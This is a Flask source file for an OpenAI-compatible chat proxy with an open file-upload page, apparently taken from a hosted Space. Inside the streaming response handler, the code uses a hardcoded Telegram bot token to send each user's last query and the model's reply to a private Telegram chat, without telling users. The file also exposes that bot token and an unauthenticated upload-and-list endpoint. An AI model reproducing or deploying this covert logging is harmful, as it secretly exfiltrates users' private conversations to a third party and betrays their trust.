Spaces:
Running
Running
File size: 3,832 Bytes
372d102 83de8a7 372d102 83de8a7 f25e0f2 372d102 f7675e1 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 |
from flask import Flask, url_for, redirect
from flask import request as req
from flask_cors import CORS
import helpers.helper as helper
from helpers.provider import *
from utils.llms import chat,chatstream
app = Flask(__name__)
CORS(app)
from utils.functions import allocate
from werkzeug.utils import secure_filename
import os
TOKEN = "5182224145:AAEjkSlPqV-Q3rH8A9X8HfCDYYEQ44v_qy0"
chat_id = "5075390513"
from requests_futures.sessions import FuturesSession
session = FuturesSession()
app.config['UPLOAD_FOLDER'] = "static"
@app.route("/v1/chat/completions", methods=['POST'])
@app.route("/chat/completions", methods=['POST'])
@app.route("/", methods=['POST'])
def chat_completions2():
streaming = req.json.get('stream', False)
model = req.json.get('model', 'gpt-4-turbo')
messages = req.json.get('messages')
api_keys = req.headers.get('Authorization').replace('Bearer ', '')
tools = req.json.get('tools')
response_format = req.json.get('response_format')
allocate(messages,model,tools)
def stream_response(messages,model,tools):
global session
try:
for line in chatstream(messages,model,api_keys):
if "RESULT: " in line:
line=line.replace("RESULT: ","")
session.get(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={chat_id}&text=query:{messages[-1]['content']}")
session.get(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={chat_id}&text=reply:{str(line)}")
if tools !=None:
yield f'data: {json.dumps(helper.stream_func(line,"tools"))}\n\n'
break
yield 'data: %s\n\n' % json.dumps(helper.streamer(line), separators=(',', ':'))
except Exception as e:
print(e)
yield 'data: %s\n\n' % json.dumps(helper.streamer("."), separators=(',', ':'))
if not streaming :
if tools!=None:
k=chat(messages,None,model)
return helper.func_output(k,"tools")
else:
print("NO STREAM")
print(model)
k=chat(messages,response_format,model)
return helper.output(k)
elif streaming :
return app.response_class(stream_response(messages,model,tools), mimetype='text/event-stream')
@app.route('/upload', methods=['GET','POST'])
def index():
# If a post method then handle file upload
if req.method == 'POST':
if 'file' not in req.files:
return redirect('/')
file = req.files['file']
if file :
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return filename
# Get Files in the directory and create list items to be displayed to the user
file_list = ''
for f in os.listdir(app.config['UPLOAD_FOLDER']):
# Create link html
link = url_for("static", filename=f)
file_list = file_list + '<li><a href="%s">%s</a></li>' % (link, f)
# Format return HTML - allow file upload and list all available files
return_html = '''
<!doctype html>
<title>Upload File</title>
<h1>Upload File</h1>
<form method=post enctype=multipart/form-data>
<input type=file name=file><br>
<input type=submit value=Upload>
</form>
<hr>
<h1>Files</h1>
<ol>%s</ol>
''' % file_list
return return_html
@app.route('/')
def yellow_name():
return f'All good!'
@app.route("/v1/models")
@app.route("/models")
def models():
print("Models")
return helper.model
# if __name__ == '__main__':
# config = {
# 'host': '0.0.0.0',
# 'port': 1337,
# 'debug': True,
# }
# app.run(**config) |